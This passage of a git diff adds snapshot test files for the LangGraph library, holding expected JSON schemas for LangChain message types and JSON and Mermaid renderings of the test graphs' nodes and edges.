"null"}], "title": "Id"}, "index": {"anyOf": [{"type": "integer"}, {"type": "null"}], "title": "Index"}, "type": {"const": "tool_call_chunk", "title": "Type", "type": "string"}}, "required": ["name", "args", "id", "index"], "title": "ToolCallChunk", "type": "object"}, "ToolMessage": {"additionalProperties": true, "description": "Message for passing the result of executing a tool back to a model.\\n\\n`ToolMessage` objects contain the result of a tool invocation. Typically, the result\\nis encoded inside the `content` field.\\n\\n`tool_call_id` is used to associate the tool call request with the tool call\\nresponse. Useful in situations where a chat model is able to request multiple tool\\ncalls in parallel.\\n\\nExample:\\n    A `ToolMessage` representing a result of `42` from a tool call with id\\n\\n    ```python\\n    from langchain_core.messages import ToolMessage\\n\\n    ToolMessage(content=\\"42\\", tool_call_id=\\"call_Jja7J89XsjrOLA5r!MEOW!SL\\")\\n    ```\\n\\nExample:\\n    A `ToolMessage` where only part of the tool output is sent to the model\\n    and the full output is passed in to artifact.\\n\\n    ```python\\n    from langchain_core.messages import ToolMessage\\n\\n    tool_output = {\\n        \\"stdout\\": \\"From the graph we can see that the correlation between \\"\\n        \\"x and y is ...\\",\\n        \\"stderr\\": None,\\n        \\"artifacts\\": {\\"type\\": \\"image\\", \\"base64_data\\": \\"/9j/4gIcSU...\\"},\\n    }\\n\\n    ToolMessage(\\n        content=tool_output[\\"stdout\\"],\\n        artifact=tool_output,\\n        tool_call_id=\\"call_Jja7J89XsjrOLA5r!MEOW!SL\\",\\n    )\\n    ```", "properties": {"content": {"anyOf": [{"type": "string"}, {"items": {"anyOf": [{"type": "string"}, {"additionalProperties": true, "type": "object"}]}, "type": "array"}], "title": "Content"}, "additional_kwargs": {"additionalProperties": true, "title": "Additional Kwargs", "type": "object"}, "response_metadata": {"additionalProperties": true, "title": "Response Metadata", "type": "object"}, "type": {"const": "tool", "default": "tool", "title": "Type", "type": "string"}, "name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Name"}, "id": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Id"}, "tool_call_id": {"title": "Tool Call Id", "type": "string"}, "artifact": {"default": null, "title": "Artifact"}, "status": {"default": "success", "enum": ["success", "error"], "title": "Status", "type": "string"}}, "required": ["content", "tool_call_id"], "title": "ToolMessage", "type": "object"}, "ToolMessageChunk": {"additionalProperties": true, "description": "Tool Message chunk.", "properties": {"content": {"anyOf": [{"type": "string"}, {"items": {"anyOf": [{"type": "string"}, {"additionalProperties": true, "type": "object"}]}, "type": "array"}], "title": "Content"}, "additional_kwargs": {"additionalProperties": true, "title": "Additional Kwargs", "type": "object"}, "response_metadata": {"additionalProperties": true, "title": "Response Metadata", "type": "object"}, "type": {"const": "ToolMessageChunk", "default": "ToolMessageChunk", "title": "Type", "type": "string"}, "name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Name"}, "id": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Id"}, "tool_call_id": {"title": "Tool Call Id", "type": "string"}, "artifact": {"default": null, "title": "Artifact"}, "status": {"default": "success", "enum": ["success", "error"], "title": "Status", "type": "string"}}, "required": ["content", "tool_call_id"], "title": "ToolMessageChunk", "type": "object"}, "UsageMetadata": {"additionalProperties": true, "description": "Usage metadata for a message, such as token counts.\\n\\nThis is a standard representation of token usage that is consistent across models.\\n\\nExample:\\n    ```python\\n    {\\n        \\"input_tokens\\": 350,\\n        \\"output_tokens\\": 240,\\n        \\"total_tokens\\": 590,\\n        \\"input_token_details\\": {\\n            \\"audio\\": 10,\\n            \\"cache_creation\\": 200,\\n            \\"cache_read\\": 100,\\n        },\\n        \\"output_token_details\\": {\\n            \\"audio\\": 10,\\n            \\"reasoning\\": 200,\\n        },\\n    }\\n    ```\\n\\n!!! warning \\"Behavior changed in `langchain-core` 0.3.9\\"\\n\\n    Added `input_token_details` and `output_token_details`.\\n\\n!!! note \\"LangSmith SDK\\"\\n\\n    The LangSmith SDK also has a `UsageMetadata` class. While the two share fields,\\n    LangSmith\'s `UsageMetadata` has additional fields to capture cost information\\n    used by the LangSmith platform.", "properties": {"input_tokens": {"title": "Input Tokens", "type": "integer"}, "output_tokens": {"title": "Output Tokens", "type": "integer"}, "total_tokens": {"title": "Total Tokens", "type": "integer"}, "input_token_details": {"$ref": "#/$defs/InputTokenDetails"}, "output_token_details": {"$ref": "#/$defs/OutputTokenDetails"}}, "required": ["input_tokens", "output_tokens", "total_tokens"], "title": "UsageMetadata", "type": "object"}}, "default": null, "items": {"oneOf": [{"$ref": "#/$defs/AIMessage"}, {"$ref": "#/$defs/HumanMessage"}, {"$ref": "#/$defs/ChatMessage"}, {"$ref": "#/$defs/SystemMessage"}, {"$ref": "#/$defs/FunctionMessage"}, {"$ref": "#/$defs/ToolMessage"}, {"$ref": "#/$defs/AIMessageChunk"}, {"$ref": "#/$defs/HumanMessageChunk"}, {"$ref": "#/$defs/ChatMessageChunk"}, {"$ref": "#/$defs/SystemMessageChunk"}, {"$ref": "#/$defs/FunctionMessageChunk"}, {"$ref": "#/$defs/ToolMessageChunk"}]}, "title": "LangGraphOutput", "type": "array"}'
+# ---
+# name: test_message_graph[memory].2
+  '''
+  {
+    "nodes": [
+      {
+        "id": "__start__",
+        "type": "runnable",
+        "data": {
+          "id": [
+            "langgraph",
+            "_internal",
+            "_runnable",
+            "RunnableCallable"
+          ],
+          "name": "__start__"
+        }
+      },
+      {
+        "id": "agent",
+        "type": "runnable",
+        "data": {
+          "id": [
+            "tests",
+            "test_large_cases",
+            "FakeFunctionChatModel"
+          ],
+          "name": "agent"
+        }
+      },
+      {
+        "id": "tools",
+        "type": "runnable",
+        "data": {
+          "id": [
+            "langgraph",
+            "prebuilt",
+            "tool_node",
+            "ToolNode"
+          ],
+          "name": "tools"
+        }
+      },
+      {
+        "id": "__end__"
+      }
+    ],
+    "edges": [
+      {
+        "source": "__start__",
+        "target": "agent"
+      },
+      {
+        "source": "agent",
+        "target": "__end__",
+        "data": "end",
+        "conditional": true
+      },
+      {
+        "source": "agent",
+        "target": "tools",
+        "data": "continue",
+        "conditional": true
+      },
+      {
+        "source": "tools",
+        "target": "agent"
+      }
+    ]
+  }
+  '''
+# ---
+# name: test_message_graph[memory].3
+  '''
+  graph TD;
+  	__start__ --> agent;
+  	agent -.  end  .-> __end__;
+  	agent -.  continue  .-> tools;
+  	tools --> agent;
+  
+  '''
+# ---
+# name: test_prebuilt_tool_chat
+  '{"$defs": {"BaseMessage": {"additionalProperties": true, "description": "Base abstract message class.\\n\\nMessages are the inputs and outputs of a chat model.\\n\\nExamples include [`HumanMessage`][langchain.messages.HumanMessage],\\n[`AIMessage`][langchain.messages.AIMessage], and\\n[`SystemMessage`][langchain.messages.SystemMessage].", "properties": {"content": {"anyOf": [{"type": "string"}, {"items": {"anyOf": [{"type": "string"}, {"additionalProperties": true, "type": "object"}]}, "type": "array"}], "title": "Content"}, "additional_kwargs": {"additionalProperties": true, "title": "Additional Kwargs", "type": "object"}, "response_metadata": {"additionalProperties": true, "title": "Response Metadata", "type": "object"}, "type": {"title": "Type", "type": "string"}, "name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Name"}, "id": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Id"}}, "required": ["content", "type"], "title": "BaseMessage", "type": "object"}}, "deprecated": true, "description": "The state of the agent.", "properties": {"messages": {"items": {"$ref": "#/$defs/BaseMessage"}, "title": "Messages", "type": "array"}, "remaining_steps": {"title": "Remaining Steps", "type": "integer"}}, "required": ["messages"], "title": "AgentState", "type": "object"}'
+# ---
+# name: test_prebuilt_tool_chat.1
+  '{"$defs": {"BaseMessage": {"additionalProperties": true, "description": "Base abstract message class.\\n\\nMessages are the inputs and outputs of a chat model.\\n\\nExamples include [`HumanMessage`][langchain.messages.HumanMessage],\\n[`AIMessage`][langchain.messages.AIMessage], and\\n[`SystemMessage`][langchain.messages.SystemMessage].", "properties": {"content": {"anyOf": [{"type": "string"}, {"items": {"anyOf": [{"type": "string"}, {"additionalProperties": true, "type": "object"}]}, "type": "array"}], "title": "Content"}, "additional_kwargs": {"additionalProperties": true, "title": "Additional Kwargs", "type": "object"}, "response_metadata": {"additionalProperties": true, "title": "Response Metadata", "type": "object"}, "type": {"title": "Type", "type": "string"}, "name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Name"}, "id": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Id"}}, "required": ["content", "type"], "title": "BaseMessage", "type": "object"}}, "deprecated": true, "description": "The state of the agent.", "properties": {"messages": {"items": {"$ref": "#/$defs/BaseMessage"}, "title": "Messages", "type": "array"}, "remaining_steps": {"title": "Remaining Steps", "type": "integer"}}, "required": ["messages"], "title": "AgentState", "type": "object"}'
+# ---
+# name: test_prebuilt_tool_chat.2
+  '''
+  {
+    "nodes": [
+      {
+        "id": "__start__",
+        "type": "runnable",
+        "data": {
+          "id": [
+            "langgraph",
+            "_internal",
+            "_runnable",
+            "RunnableCallable"
+          ],
+          "name": "__start__"
+        }
+      },
+      {
+        "id": "agent",
+        "type": "runnable",
+        "data": {
+          "id": [
+            "langgraph",
+            "_internal",
+            "_runnable",
+            "RunnableCallable"
+          ],
+          "name": "agent"
+        }
+      },
+      {
+        "id": "tools",
+        "type": "runnable",
+        "data": {
+          "id": [
+            "langgraph",
+            "prebuilt",
+            "tool_node",
+            "ToolNode"
+          ],
+          "name": "tools"
+        }
+      },
+      {
+        "id": "__end__"
+      }
+    ],
+    "edges": [
+      {
+        "source": "__start__",
+        "target": "agent"
+      },
+      {
+        "source": "agent",
+        "target": "__end__",
+        "conditional": true
+      },
+      {
+        "source": "agent",
+        "target": "tools",
+        "conditional": true
+      },
+      {
+        "source": "tools",
+        "target": "agent"
+      }
+    ]
+  }
+  '''
+# ---
+# name: test_prebuilt_tool_chat.3
+  '''
+  graph TD;
+  	__start__ --> agent;
+  	agent -.-> __end__;
+  	agent -.-> tools;
+  	tools --> agent;
+  
+  '''
+# ---
+# name: test_send_react_interrupt_control[memory]
+  '''
+  ---
+  config:
+    flowchart:
+      curve: linear
+  ---
+  graph TD;
+  	__start__([

__start__

]):::first + agent(agent) + foo(foo) + __end__([

__end__

]):::last + __start__ --> agent; + agent -.-> foo; + foo --> __end__; + classDef default fill:#f2f0ff,line-height:1.2 + classDef first fill-opacity:0 + classDef last fill:#bfb6fc + + ''' +# --- +# name: test_weather_subgraph[memory] + ''' + --- + config: + flowchart: + curve: linear + --- + graph TD; + __start__([

__start__

]):::first + router_node(router_node) + normal_llm_node(normal_llm_node) + __end__([

__end__

]):::last + __start__ --> router_node; + router_node -.-> normal_llm_node; + router_node -.-> weather_graph\3amodel_node; + normal_llm_node --> __end__; + weather_graph\3aweather_node --> __end__; + subgraph weather_graph + weather_graph\3amodel_node(model_node) + weather_graph\3aweather_node(weather_node
__interrupt = before) + weather_graph\3amodel_node --> weather_graph\3aweather_node; + end + classDef default fill:#f2f0ff,line-height:1.2 + classDef first fill-opacity:0 + classDef last fill:#bfb6fc + + ''' +# --- diff --git a/libs/langgraph/tests/__snapshots__/test_pregel.ambr b/libs/langgraph/tests/__snapshots__/test_pregel.ambr new file mode 100644 index 0000000..fded3d0 --- /dev/null +++ b/libs/langgraph/tests/__snapshots__/test_pregel.ambr @@ -0,0 +1,1274 @@ +# serializer version: 1 +# name: test_conditional_entrypoint_graph_state + '{"properties": {"input": {"title": "Input", "type": "string"}, "output": {"title": "Output", "type": "string"}, "steps": {"items": {"type": "string"}, "title": "Steps", "type": "array"}}, "title": "AgentState", "type": "object"}' +# --- +# name: test_conditional_entrypoint_graph_state.1 + '{"properties": {"input": {"title": "Input", "type": "string"}, "output": {"title": "Output", "type": "string"}, "steps": {"items": {"type": "string"}, "title": "Steps", "type": "array"}}, "title": "AgentState", "type": "object"}' +# --- +# name: test_conditional_entrypoint_graph_state.2 + ''' + { + "nodes": [ + { + "id": "__start__", + "type": "runnable", + "data": { + "id": [ + "langgraph", + "_internal", + "_runnable", + "RunnableCallable" + ], + "name": "__start__" + } + }, + { + "id": "left", + "type": "runnable", + "data": { + "id": [ + "langgraph", + "_internal", + "_runnable", + "RunnableCallable" + ], + "name": "left" + } + }, + { + "id": "right", + "type": "runnable", + "data": { + "id": [ + "langgraph", + "_internal", + "_runnable", + "RunnableCallable" + ], + "name": "right" + } + }, + { + "id": "__end__" + } + ], + "edges": [ + { + "source": "__start__", + "target": "left", + "data": "go-left", + "conditional": true + }, + { + "source": "__start__", + "target": "right", + "data": "go-right", + "conditional": true + }, + { + "source": "left", + "target": "__end__", + "conditional": true + }, + { + "source": "right", + "target": "__end__" + } + ] + } + ''' +# --- +# name: test_conditional_entrypoint_graph_state.3 + ''' + graph TD; + __start__ -.  go-left  .-> left; + __start__ -.  go-right  .-> right; + left -.-> __end__; + right --> __end__; + + ''' +# --- +# name: test_conditional_entrypoint_to_multiple_state_graph + '{"properties": {"locations": {"items": {"type": "string"}, "title": "Locations", "type": "array"}, "results": {"items": {"type": "string"}, "title": "Results", "type": "array"}}, "required": ["locations", "results"], "title": "OverallState", "type": "object"}' +# --- +# name: test_conditional_entrypoint_to_multiple_state_graph.1 + '{"properties": {"locations": {"items": {"type": "string"}, "title": "Locations", "type": "array"}, "results": {"items": {"type": "string"}, "title": "Results", "type": "array"}}, "required": ["locations", "results"], "title": "OverallState", "type": "object"}' +# --- +# name: test_conditional_entrypoint_to_multiple_state_graph.2 + ''' + { + "nodes": [ + { + "id": "__start__", + "type": "runnable", + "data": { + "id": [ + "langgraph", + "_internal", + "_runnable", + "RunnableCallable" + ], + "name": "__start__" + } + }, + { + "id": "get_weather", + "type": "runnable", + "data": { + "id": [ + "langgraph", + "_internal", + "_runnable", + "RunnableCallable" + ], + "name": "get_weather" + } + }, + { + "id": "__end__" + } + ], + "edges": [ + { + "source": "__start__", + "target": "get_weather", + "conditional": true + }, + { + "source": "get_weather", + "target": "__end__" + } + ] + } + ''' +# --- +# name: test_conditional_entrypoint_to_multiple_state_graph.3 + ''' + graph TD; + __start__ -.-> get_weather; + get_weather --> __end__; + + ''' +# --- +# name: test_conditional_state_graph_with_list_edge_inputs + ''' + { + "nodes": [ + { + "id": "__start__", + "type": "runnable", + "data": { + "id": [ + "langgraph", + "_internal", + "_runnable", + "RunnableCallable" + ], + "name": "__start__" + } + }, + { + "id": "A", + "type": "runnable", + "data": { + "id": [ + "langgraph", + "_internal", + "_runnable", + "RunnableCallable" + ], + "name": "A" + } + }, + { + "id": "B", + "type": "runnable", + "data": { + "id": [ + "langgraph", + "_internal", + "_runnable", + "RunnableCallable" + ], + "name": "B" + } + }, + { + "id": "__end__" + } + ], + "edges": [ + { + "source": "__start__", + "target": "A" + }, + { + "source": "__start__", + "target": "B" + }, + { + "source": "A", + "target": "__end__" + }, + { + "source": "B", + "target": "__end__" + } + ] + } + ''' +# --- +# name: test_conditional_state_graph_with_list_edge_inputs.1 + ''' + graph TD; + __start__ --> A; + __start__ --> B; + A --> __end__; + B --> __end__; + + ''' +# --- +# name: test_get_graph_loop + ''' + { + "nodes": [ + { + "id": "__start__", + "type": "runnable", + "data": { + "id": [ + "langgraph", + "_internal", + "_runnable", + "RunnableCallable" + ], + "name": "__start__" + } + }, + { + "id": "human", + "type": "runnable", + "data": { + "id": [ + "langgraph", + "_internal", + "_runnable", + "RunnableCallable" + ], + "name": "human" + } + }, + { + "id": "agent", + "type": "runnable", + "data": { + "id": [ + "langgraph", + "_internal", + "_runnable", + "RunnableCallable" + ], + "name": "agent" + } + }, + { + "id": "__end__" + } + ], + "edges": [ + { + "source": "__start__", + "target": "human" + }, + { + "source": "agent", + "target": "human" + }, + { + "source": "human", + "target": "agent" + }, + { + "source": "agent", + "target": "__end__", + "conditional": true + } + ] + } + ''' +# --- +# name: test_get_graph_loop.1 + ''' + graph TD; + __start__ --> human; + agent --> human; + human --> agent; + agent -.-> __end__; + + ''' +# --- +# name: test_get_graph_nonterminal_last_step_source + ''' + { + "edges": [ + { + "source": "__start__", + "target": "human" + }, + { + "conditional": true, + "source": "chatbot", + "target": "human" + }, + { + "conditional": true, + "source": "chatbot", + "target": "tools" + }, + { + "conditional": true, + "source": "human", + "target": "__end__" + }, + { + "conditional": true, + "source": "human", + "target": "chatbot" + }, + { + "source": "tools", + "target": "chatbot" + } + ], + "nodes": [ + { + "data": { + "id": [ + "langgraph", + "_internal", + "_runnable", + "RunnableCallable" + ], + "name": "__start__" + }, + "id": "__start__", + "type": "runnable" + }, + { + "data": { + "id": [ + "langgraph", + "_internal", + "_runnable", + "RunnableCallable" + ], + "name": "chatbot" + }, + "id": "chatbot", + "type": "runnable" + }, + { + "data": { + "id": [ + "langgraph", + "_internal", + "_runnable", + "RunnableCallable" + ], + "name": "tools" + }, + "id": "tools", + "type": "runnable" + }, + { + "data": { + "id": [ + "langgraph", + "_internal", + "_runnable", + "RunnableCallable" + ], + "name": "human" + }, + "id": "human", + "type": "runnable" + }, + { + "id": "__end__" + } + ] + } + ''' +# --- +# name: test_get_graph_root_channel + ''' + { + "nodes": [ + { + "id": "__start__", + "type": "runnable", + "data": { + "id": [ + "langgraph", + "_internal", + "_runnable", + "RunnableCallable" + ], + "name": "__start__" + } + }, + { + "id": "child", + "type": "runnable", + "data": { + "id": [ + "langgraph", + "graph", + "state", + "CompiledStateGraph" + ], + "name": "child" + } + }, + { + "id": "__end__" + } + ], + "edges": [ + { + "source": "__start__", + "target": "child" + }, + { + "source": "child", + "target": "__end__" + } + ] + } + ''' +# --- +# name: test_get_graph_root_channel.1 + ''' + graph TD; + __start__ --> child; + child --> __end__; + + ''' +# --- +# name: test_get_graph_self_loop + ''' + { + "nodes": [ + { + "id": "__start__", + "type": "runnable", + "data": { + "id": [ + "langgraph", + "_internal", + "_runnable", + "RunnableCallable" + ], + "name": "__start__" + } + }, + { + "id": "worker_node", + "type": "runnable", + "data": { + "id": [ + "langgraph", + "_internal", + "_runnable", + "RunnableCallable" + ], + "name": "worker_node" + } + }, + { + "id": "__end__" + } + ], + "edges": [ + { + "source": "__start__", + "target": "worker_node" + }, + { + "source": "worker_node", + "target": "__end__", + "conditional": true + }, + { + "source": "worker_node", + "target": "worker_node", + "conditional": true + } + ] + } + ''' +# --- +# name: test_get_graph_self_loop.1 + ''' + graph TD; + __start__ --> worker_node; + worker_node -.-> __end__; + worker_node -.-> worker_node; + + ''' +# --- +# name: test_in_one_fan_out_state_graph_defer_node[memory-False] + ''' + graph TD; + __start__ --> rewrite_query; + analyzer_one -.-> qa; + retriever_one --> analyzer_one; + retriever_one --> qa; + retriever_two --> qa; + rewrite_query --> retriever_one; + rewrite_query --> retriever_two; + qa --> __end__; + + ''' +# --- +# name: test_in_one_fan_out_state_graph_defer_node[memory-True] + ''' + graph TD; + __start__ --> rewrite_query; + analyzer_one -.-> qa; + retriever_one --> analyzer_one; + retriever_one --> qa; + retriever_two --> qa; + rewrite_query --> retriever_one; + rewrite_query --> retriever_two; + qa --> __end__; + + ''' +# --- +# name: test_in_one_fan_out_state_graph_waiting_edge[memory] + ''' + graph TD; + __start__ --> rewrite_query; + analyzer_one --> retriever_one; + retriever_one --> qa; + retriever_two --> qa; + rewrite_query --> analyzer_one; + rewrite_query --> retriever_two; + qa --> __end__; + + ''' +# --- +# name: test_in_one_fan_out_state_graph_waiting_edge_custom_state_class_pydantic2[memory] + ''' + graph TD; + __start__ --> rewrite_query; + analyzer_one --> retriever_one; + retriever_one --> qa; + retriever_two --> qa; + rewrite_query --> analyzer_one; + rewrite_query -.-> retriever_two; + qa --> __end__; + + ''' +# --- +# name: test_in_one_fan_out_state_graph_waiting_edge_custom_state_class_pydantic2[memory].1 + dict({ + '$defs': dict({ + 'InnerObject': dict({ + 'properties': dict({ + 'yo': dict({ + 'title': 'Yo', + 'type': 'integer', + }), + }), + 'required': list([ + 'yo', + ]), + 'title': 'InnerObject', + 'type': 'object', + }), + }), + 'properties': dict({ + 'inner': dict({ + '$ref': '#/$defs/InnerObject', + }), + 'query': dict({ + 'title': 'Query', + 'type': 'string', + }), + }), + 'required': list([ + 'query', + 'inner', + ]), + 'title': 'Input', + 'type': 'object', + }) +# --- +# name: test_in_one_fan_out_state_graph_waiting_edge_custom_state_class_pydantic2[memory].2 + dict({ + 'properties': dict({ + 'answer': dict({ + 'title': 'Answer', + 'type': 'string', + }), + 'docs': dict({ + 'items': dict({ + 'type': 'string', + }), + 'title': 'Docs', + 'type': 'array', + }), + }), + 'required': list([ + 'answer', + 'docs', + ]), + 'title': 'Output', + 'type': 'object', + }) +# --- +# name: test_in_one_fan_out_state_graph_waiting_edge_via_branch[memory] + ''' + graph TD; + __start__ --> rewrite_query; + analyzer_one --> retriever_one; + retriever_one --> qa; + retriever_two --> qa; + rewrite_query --> analyzer_one; + rewrite_query -.-> retriever_two; + qa --> __end__; + + ''' +# --- +# name: test_migration_graph + ''' + graph TD; + B -.  X  .-> C; + B -.  Y  .-> D; + D --> B; + __start__ --> B; + C --> __end__; + + ''' +# --- +# name: test_multiple_sinks_subgraphs + ''' + --- + config: + flowchart: + curve: linear + --- + graph TD; + __start__([

__start__

]):::first + uno(uno) + dos(dos) + __end__([

__end__

]):::last + __start__ --> uno; + uno -.-> dos; + uno -.-> subgraph\3aone; + dos --> __end__; + subgraph\3a__end__ --> __end__; + subgraph subgraph + subgraph\3aone(one) + subgraph\3atwo(two) + subgraph\3athree(three) + subgraph\3a__end__(

__end__

) + subgraph\3aone -.-> subgraph\3athree; + subgraph\3aone -.-> subgraph\3atwo; + subgraph\3athree --> subgraph\3a__end__; + subgraph\3atwo --> subgraph\3a__end__; + end + classDef default fill:#f2f0ff,line-height:1.2 + classDef first fill-opacity:0 + classDef last fill:#bfb6fc + + ''' +# --- +# name: test_nested_graph + ''' + graph TD; + __start__ --> inner; + inner --> side; + side --> __end__; + + ''' +# --- +# name: test_nested_graph.1 + ''' + --- + config: + flowchart: + curve: linear + --- + graph TD; + __start__([

__start__

]):::first + side(side) + __end__([

__end__

]):::last + __start__ --> inner\3aup; + inner\3aup --> side; + side --> __end__; + subgraph inner + inner\3aup(up) + end + classDef default fill:#f2f0ff,line-height:1.2 + classDef first fill-opacity:0 + classDef last fill:#bfb6fc + + ''' +# --- +# name: test_nested_graph_xray + dict({ + 'edges': list([ + dict({ + 'conditional': True, + 'source': '__start__', + 'target': 'tool_one', + }), + dict({ + 'conditional': True, + 'source': '__start__', + 'target': 'tool_three', + }), + dict({ + 'conditional': True, + 'source': '__start__', + 'target': 'tool_two:__start__', + }), + dict({ + 'source': 'tool_one', + 'target': '__end__', + }), + dict({ + 'source': 'tool_three', + 'target': '__end__', + }), + dict({ + 'source': 'tool_two:__end__', + 'target': '__end__', + }), + dict({ + 'conditional': True, + 'source': 'tool_two:__start__', + 'target': 'tool_two:tool_two_fast', + }), + dict({ + 'conditional': True, + 'source': 'tool_two:__start__', + 'target': 'tool_two:tool_two_slow', + }), + dict({ + 'source': 'tool_two:tool_two_fast', + 'target': 'tool_two:__end__', + }), + dict({ + 'source': 'tool_two:tool_two_slow', + 'target': 'tool_two:__end__', + }), + ]), + 'nodes': list([ + dict({ + 'data': dict({ + 'id': list([ + 'langgraph', + '_internal', + '_runnable', + 'RunnableCallable', + ]), + 'name': '__start__', + }), + 'id': '__start__', + 'type': 'runnable', + }), + dict({ + 'data': dict({ + 'id': list([ + 'langgraph', + '_internal', + '_runnable', + 'RunnableCallable', + ]), + 'name': 'tool_one', + }), + 'id': 'tool_one', + 'type': 'runnable', + }), + dict({ + 'data': dict({ + 'id': list([ + 'langgraph', + '_internal', + '_runnable', + 'RunnableCallable', + ]), + 'name': 'tool_three', + }), + 'id': 'tool_three', + 'type': 'runnable', + }), + dict({ + 'id': '__end__', + }), + dict({ + 'data': dict({ + 'id': list([ + 'langgraph', + '_internal', + '_runnable', + 'RunnableCallable', + ]), + 'name': 'tool_two:__start__', + }), + 'id': 'tool_two:__start__', + 'type': 'runnable', + }), + dict({ + 'data': dict({ + 'id': list([ + 'langgraph', + '_internal', + '_runnable', + 'RunnableCallable', + ]), + 'name': 'tool_two:tool_two_slow', + }), + 'id': 'tool_two:tool_two_slow', + 'type': 'runnable', + }), + dict({ + 'data': dict({ + 'id': list([ + 'langgraph', + '_internal', + '_runnable', + 'RunnableCallable', + ]), + 'name': 'tool_two:tool_two_fast', + }), + 'id': 'tool_two:tool_two_fast', + 'type': 'runnable', + }), + dict({ + 'id': 'tool_two:__end__', + }), + ]), + }) +# --- +# name: test_nested_graph_xray.1 + ''' + --- + config: + flowchart: + curve: linear + --- + graph TD; + __start__([

__start__

]):::first + tool_one(tool_one) + tool_three(tool_three) + __end__([

__end__

]):::last + __start__ -.-> tool_one; + __start__ -.-> tool_three; + __start__ -.-> tool_two\3a__start__; + tool_one --> __end__; + tool_three --> __end__; + tool_two\3a__end__ --> __end__; + subgraph tool_two + tool_two\3a__start__(

__start__

) + tool_two\3atool_two_slow(tool_two_slow) + tool_two\3atool_two_fast(tool_two_fast) + tool_two\3a__end__(

__end__

) + tool_two\3a__start__ -.-> tool_two\3atool_two_fast; + tool_two\3a__start__ -.-> tool_two\3atool_two_slow; + tool_two\3atool_two_fast --> tool_two\3a__end__; + tool_two\3atool_two_slow --> tool_two\3a__end__; + end + classDef default fill:#f2f0ff,line-height:1.2 + classDef first fill-opacity:0 + classDef last fill:#bfb6fc + + ''' +# --- +# name: test_repeat_condition + ''' + graph TD; + Call\20Tool -.-> Chart\20Generator; + Call\20Tool -.-> Researcher; + Chart\20Generator -.  call_tool  .-> Call\20Tool; + Chart\20Generator -.  continue  .-> Researcher; + Chart\20Generator -.  end  .-> __end__; + Researcher -.  call_tool  .-> Call\20Tool; + Researcher -.  continue  .-> Chart\20Generator; + Researcher -.  end  .-> __end__; + __start__ --> Researcher; + Researcher -.  redo  .-> Researcher; + + ''' +# --- +# name: test_simple_multi_edge + ''' + graph TD; + __start__ --> up; + side --> down; + up --> down; + up --> other; + up --> side; + down --> __end__; + other --> __end__; + + ''' +# --- +# name: test_state_graph_w_config_inherited_state_keys + '{"properties": {"tools": {"items": {"type": "string"}, "title": "Tools", "type": "array"}}, "title": "Context", "type": "object"}' +# --- +# name: test_state_graph_w_config_inherited_state_keys.1 + '{"$defs": {"AgentAction": {"description": "Represents a request to execute an action by an agent.\\n\\nThe action consists of the name of the tool to execute and the input to pass\\nto the tool. The log is used to pass along extra information about the action.", "properties": {"tool": {"title": "Tool", "type": "string"}, "tool_input": {"anyOf": [{"type": "string"}, {"additionalProperties": true, "type": "object"}], "title": "Tool Input"}, "log": {"title": "Log", "type": "string"}, "type": {"const": "AgentAction", "default": "AgentAction", "title": "Type", "type": "string"}}, "required": ["tool", "tool_input", "log"], "title": "AgentAction", "type": "object"}, "AgentFinish": {"description": "Final return value of an ActionAgent.\\n\\nAgents return an AgentFinish when they have reached a stopping condition.", "properties": {"return_values": {"additionalProperties": true, "title": "Return Values", "type": "object"}, "log": {"title": "Log", "type": "string"}, "type": {"const": "AgentFinish", "default": "AgentFinish", "title": "Type", "type": "string"}}, "required": ["return_values", "log"], "title": "AgentFinish", "type": "object"}}, "properties": {"input": {"title": "Input", "type": "string"}, "agent_outcome": {"anyOf": [{"$ref": "#/$defs/AgentAction"}, {"$ref": "#/$defs/AgentFinish"}, {"type": "null"}], "title": "Agent Outcome"}, "intermediate_steps": {"items": {"maxItems": 2, "minItems": 2, "prefixItems": [{"$ref": "#/$defs/AgentAction"}, {"type": "string"}], "type": "array"}, "title": "Intermediate Steps", "type": "array"}}, "required": ["input", "agent_outcome"], "title": "AgentState", "type": "object"}' +# --- +# name: test_state_graph_w_config_inherited_state_keys.2 + '{"$defs": {"AgentAction": {"description": "Represents a request to execute an action by an agent.\\n\\nThe action consists of the name of the tool to execute and the input to pass\\nto the tool. The log is used to pass along extra information about the action.", "properties": {"tool": {"title": "Tool", "type": "string"}, "tool_input": {"anyOf": [{"type": "string"}, {"additionalProperties": true, "type": "object"}], "title": "Tool Input"}, "log": {"title": "Log", "type": "string"}, "type": {"const": "AgentAction", "default": "AgentAction", "title": "Type", "type": "string"}}, "required": ["tool", "tool_input", "log"], "title": "AgentAction", "type": "object"}, "AgentFinish": {"description": "Final return value of an ActionAgent.\\n\\nAgents return an AgentFinish when they have reached a stopping condition.", "properties": {"return_values": {"additionalProperties": true, "title": "Return Values", "type": "object"}, "log": {"title": "Log", "type": "string"}, "type": {"const": "AgentFinish", "default": "AgentFinish", "title": "Type", "type": "string"}}, "required": ["return_values", "log"], "title": "AgentFinish", "type": "object"}}, "properties": {"input": {"title": "Input", "type": "string"}, "agent_outcome": {"anyOf": [{"$ref": "#/$defs/AgentAction"}, {"$ref": "#/$defs/AgentFinish"}, {"type": "null"}], "title": "Agent Outcome"}, "intermediate_steps": {"items": {"maxItems": 2, "minItems": 2, "prefixItems": [{"$ref": "#/$defs/AgentAction"}, {"type": "string"}], "type": "array"}, "title": "Intermediate Steps", "type": "array"}}, "required": ["input", "agent_outcome"], "title": "AgentState", "type": "object"}' +# --- +# name: test_xray_bool + ''' + --- + config: + flowchart: + curve: linear + --- + graph TD; + __start__([

__start__

]):::first + gp_one(gp_one) + __end__([

__end__

]):::last + __start__ --> gp_one; + gp_one -.  1  .-> __end__; + gp_one -.  0  .-> gp_two\3a__start__; + gp_two\3a__end__ --> gp_one; + subgraph gp_two + gp_two\3a__start__(

__start__

) + gp_two\3ap_one(p_one) + gp_two\3a__end__(

__end__

) + gp_two\3a__start__ --> gp_two\3ap_one; + gp_two\3ap_one -.  1  .-> gp_two\3a__end__; + gp_two\3ap_one -.  0  .-> gp_two\3ap_two\3a__start__; + gp_two\3ap_two\3a__end__ --> gp_two\3ap_one; + subgraph p_two + gp_two\3ap_two\3a__start__(

__start__

